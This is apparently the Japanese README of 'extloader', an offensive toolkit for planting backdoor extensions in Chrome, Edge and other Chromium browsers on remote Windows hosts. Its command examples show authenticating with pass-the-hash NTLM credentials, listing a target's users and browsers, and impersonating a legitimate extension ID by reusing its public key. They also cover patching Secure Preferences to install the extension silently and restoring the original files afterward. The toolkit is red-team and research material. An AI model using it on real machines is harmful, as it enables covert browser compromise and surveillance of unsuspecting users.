
Chromium拡張機能エクスプロイトツールキット
アンパックされた Chromium 拡張機能を管理・配備するための小さなツールキット。
詳細は以下のブログ記事を参照してください: https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways
pipx install .
extloader --help
Python 3.10+ を対象とした分離インストールには
pipxを使用してください。
uv venv
source .venv/bin/activate
uv pip install -e .
-p/--password-H/--hash (LM:NT 形式または NT のみ)-d/--domain (デフォルトは WORKGROUP)-t, --target: ターゲットの IP/ホスト名-u, --username: ユーザー名-i, --index: check コマンドで取得したユーザーインデックス--debug: デバッグログを有効化以下は拡張機能を配備するステップバイステップの例です:
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index ┃ Browser ┃ User (SID) ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ Chrome │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
│ 2 │ Microsoft Edge │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘
別のマシンで exploit を実行する場合は、必ず事前に
checkコマンドを実行してコンテキスト (available_targets.json) を更新してください。
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension
既存の拡張機能 ID になりすますには、上記のコマンドをスキップし、マニフェストの
keyに、模倣する拡張機能の base64 公開鍵を設定してください。その鍵を再利用すると CRX ID は変わりません。
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension
4.(代替) 手動配備用にパッケージ化:
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"
# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions
--prefs-fileには、バックアップしたブラウザプロファイルのプリファレンスを指定します (Chrome/Edge はSecure Preferencesとして保存し、その他の Chromium ブラウザはPreferencesを使用します)。ローダーはそれをコピーしてパッチを適用し、変更後と未変更の両方のバージョンをパッケージに含めます。
├── extension/
│ └── chrome-mv3/
├── preferences/
│ ├── brave/
│ ├── chrome/
│ ├── chromium/
[...]
└── info.json
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences
package ワークフローを Linux 向けに適合package ワークフローを macOS 向けに適合